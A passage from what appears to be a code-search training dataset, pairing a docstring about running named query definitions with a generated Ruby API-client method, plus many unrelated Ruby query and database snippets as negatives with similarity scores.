"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end",
"def query(q)\n @conn.query({url_path: \"#{database}/_find\", opts: q, method: :post})\n end",
"def exec_query(sql, name = 'SQL', binds = [])\n translate(sql) do |sql, args|\n unless binds.empty?\n args = binds.map { |col, val| type_cast(val, col) } + args\n end\n log(expand(sql, args), name) do\n result, rows = @connection.execute(sql, *args) { |cursor| [cursor.fields, cursor.fetchall] }\n if result.respond_to?(:map)\n cols = result.map { |col| col.name } \n ActiveRecord::Result.new(cols, rows)\n else\n result\n end\n end\n end\n end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def query(soql)\n response = api_get 'query', :q => soql\n mashify? ? response.body : response.body['records']\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def match(name)\n query(FindByString: name)\n end",
"def get_by_name(name, query={})\n\n # 空またnilの場合listと同じURLにリクエストしてしまい意図しないレスポンスが返ってくる\n if name.nil? || name.empty?\n raise Yao::InvalidRequest.new(\"Invalid request with empty name or nil\")\n end\n\n begin\n GET(create_url(name), query)\n rescue Yao::ItemNotFound, Yao::NotFound => e\n item = find_by_name(name).select { |r| r.name == name }\n if item.size > 1\n raise Yao::TooManyItemFonud.new(\"More than one resource exists with the name '#{name}'\")\n elsif item.size.zero?\n raise e\n end\n GET(create_url(item.first.id), query)\n end\n end",
"def query(query, args_or_dbname, params = {})\n query = transmute_data(query)\n args = args_or_dbname.is_a?(String) ? [db_alias(args_or_dbname)] : args_or_dbname\n args = transmute_data(args)\n get root_url(\"api/query\"), params.merge(:q => query, :args => args)\n end",
"def query(queryString)\n \t \tcheck_login\n \t\t\tquery = @client.request :query do\n \t \t\t\tsoap.header = { \"SessionHeader\" => { \"session\" => \"#{self.session}\" }}\n \t\t \t\tsoap.body = {\"queryString\" => queryString }\n \t\t\tend\n \t\t\t#query.to_hash\n \t\t\tqr = Zapi::QueryResponse.new(query.to_hash, self)\n \t\t\tqr.objects\n \tend",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def get_query(query_name, opts = {})\n data, _status_code, _headers = get_query_with_http_info(query_name, opts)\n return data\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def query!(name, type=Types.A, klass=Classes.IN, set_cd=@dnssec)\n response = nil; error = nil\n begin\n response = query(name, type, klass, set_cd)\n rescue => e\n error = e\n end\n [response, error]\n end",
"def index\n @rappers = Rapper.all\n end",
"def discover\n choria.pql_query(@query, true)\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def exec_query(sql, name = 'SQL', binds = [])\n log(sql, name, binds) do\n result = without_prepared_statement?(binds) ? exec_no_cache(sql) :\n exec_cache(sql, binds)\n result_array = result_as_array(result)\n if ActiveRecord::VERSION::MAJOR >= 4\n column_types = compute_field_types(result)\n ret = ActiveRecord::Result.new(result.fields, result_array, column_types)\n else\n ret = ActiveRecord::Result.new(result.fields, result_array)\n end\n result.clear\n ret\n end\n end",
"def query(q=\"\")\n\t\tif @connection != nil\n\t\t\t@data = MonetDBData.new(@connection)\n\t\t\t@data.execute(q)\n\t\tend\n\t\treturn @data\n\tend",
"def execute_query(sparql_query)\n puts \"Executing SPARQL Query: #{sparql_query} ...\"\n \n if sparql_query.include? \"DESCRIBE\"\n response = @repository.query(sparql_query, :result_type => RubySesame::DATA_TYPES[:N3]) \n puts response if @verbose\n end\n\n if sparql_query.include? \"SELECT\" \t\n response = @repository.query(sparql_query)\t\n puts response if @verbose\n end\n\n end",
"def find(qry)\n find_by_alias(qry) || find_by_id(qry) || find_by_jid(qry)\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def process_query(query)\n # Nothing in default\n end",
"def run()\n if @type.nil?\n output_available_query_types\n else\n output_query_results\n end\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def find(query)\n results = client.search(query)\n results.map{|result| RubyHub::Repository.new(client.mapping(result))}\n end",
"def query(query_string)\n results = FogTracker::Query::QueryProcessor.new(\n @trackers, :logger => @log\n ).execute(query_string)\n (results.each {|r| yield r}) if block_given?\n results\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def map name, &block\n mapped_name, mapped_class = name.first\n mappings[mapped_name] =\n HotCocoa::Mappings::Mapper.map_instances_of mapped_class, mapped_name, &block\n end",
"def perform(query_id)\n query = Query.find(query_id)\n query.perform!\n end",
"def query(query, values)\n handle.exec(query, values)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end"
] |
[
"0.6294075",
"0.6183426",
"0.5896972",
"0.5798822",
"0.5685007",
"0.544019",
"0.5319355",
"0.5224888",
"0.52176267",
"0.5212605",
"0.5209801",
"0.5180315",
"0.5123208",
"0.50934714",
"0.5091659",
"0.5085034",
"0.5085034",
"0.50740755",
"0.50318015",
"0.50300777",
"0.5011104",
"0.49565226",
"0.49500245",
"0.49481887",
"0.49471495",
"0.4943866",
"0.49339414",
"0.49088514",
"0.49050364",
"0.48832336",
"0.48674774",
"0.48631752",
"0.4861922",
"0.4827621",
"0.4794727",
"0.47632578",
"0.47625965",
"0.47357428",
"0.4731584",
"0.47162417",
"0.47148386",
"0.4714093",
"0.47060582",
"0.46913877",
"0.46909723",
"0.4681874",
"0.46715304",
"0.46690702",
"0.466846",
"0.46656114",
"0.46600482",
"0.465164",
"0.46486032",
"0.4645753",
"0.4629714",
"0.46234947",
"0.46031484",
"0.46017447",
"0.4597789",
"0.4593288",
"0.45894685",
"0.45798486",
"0.4579631",
"0.45731074",
"0.45717162",
"0.45641023",
"0.4562103",
"0.4553963",
"0.45536667",
"0.4551339",
"0.4539584",
"0.45363706",
"0.45359343",
"0.45303467",
"0.4526053",
"0.4516271",
"0.45121723",
"0.4510601",
"0.45058483",
"0.45021126",
"0.45019943",
"0.4495578",
"0.4493282",
"0.44895425",
"0.44831318",
"0.44813406",
"0.4472929",
"0.44689983",
"0.4463121",
"0.44580987",
"0.44566545",
"0.44540706",
"0.4448922",
"0.44464672",
"0.44464672",
"0.44453543",
"0.44370848",
"0.44281793",
"0.44166172",
"0.44132897"
] |
0.7422529
|
0
|
Queries using query definition identified by queryName. Maps the result to concrete objects based on provided mapper.
|
def run_query_with_http_info(query_name, mapper, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.run_query ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query"
end
# verify the required parameter 'mapper' is set
if @api_client.config.client_side_validation && mapper.nil?
fail ArgumentError, "Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}/data".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
query_params[:'mapper'] = mapper
query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?
query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?
query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'Array<Object>')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#run_query\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)\n return data\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def run_query_filtered_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/filtered-data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def map name\n @mapper[name]\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def read(name)\n mappers[name]\n end",
"def read(name)\n mappers[name]\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)\n return data\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def query(query_definition)\n return\n end",
"def query(sql, name = nil) #:nodoc:\n log(sql, name) do\n @connection.execute(sql).rows\n end\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def query(sql, name = nil) #:nodoc:\n #log(sql, name) do\n #TODO: @async\n select_rows sql, name\n end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query_map(sCloudObj, hParams)\n return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)\n return {} if not hParams\n\n sCloudObj = sCloudObj.to_sym if sCloudObj.class == String\n\n hReturn = {}\n hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)\n hParams.each { |key, value|\n oKeyPath = KeyPath.new(key)\n sKeyPath = oKeyPath.sFullPath\n raise ForjError.new(), \"Forj query field '%s.%s' not defined by class '%s'\" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)\n oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)\n if hValueMapping\n raise ForjError.new(), \"'%s.%s': No value mapping for '%s'\" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1\n\n rhSet(hReturn, hValueMapping[value], oMapPath.aTree)\n else\n rhSet(hReturn, value, oMapPath.aTree)\n end\n }\n hReturn\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def exec_query(sql, name = nil, binds = [])\n result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :\n exec_cache(sql, name, binds)\n result_array = result_as_array(result)\n if ArVer::GTEQ_4\n column_types = compute_field_types(result)\n ret = ActiveRecord::Result.new(result.fields, result_array, column_types)\n else\n ret = ActiveRecord::Result.new(result.fields, result_array)\n end\n result.clear\n ret\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query(query)\n res = LibDrizzle.drizzle_query_str(@con_ptr, nil, query, @ret_ptr)\n check_return_code\n Result.new(res)\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def query_def; query.name; end",
"def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def query(query, params={})\n query_url = \"#{API_URL}/query.json?#{query}\"\n perform_get_request(query_url, params)\n end",
"def query( query_string )\n\n # Perform the query\n Operations::Query.new(@rforce_binding, query_string).run()\n\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NameSearchResultSet.new(resp)\n return results\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = 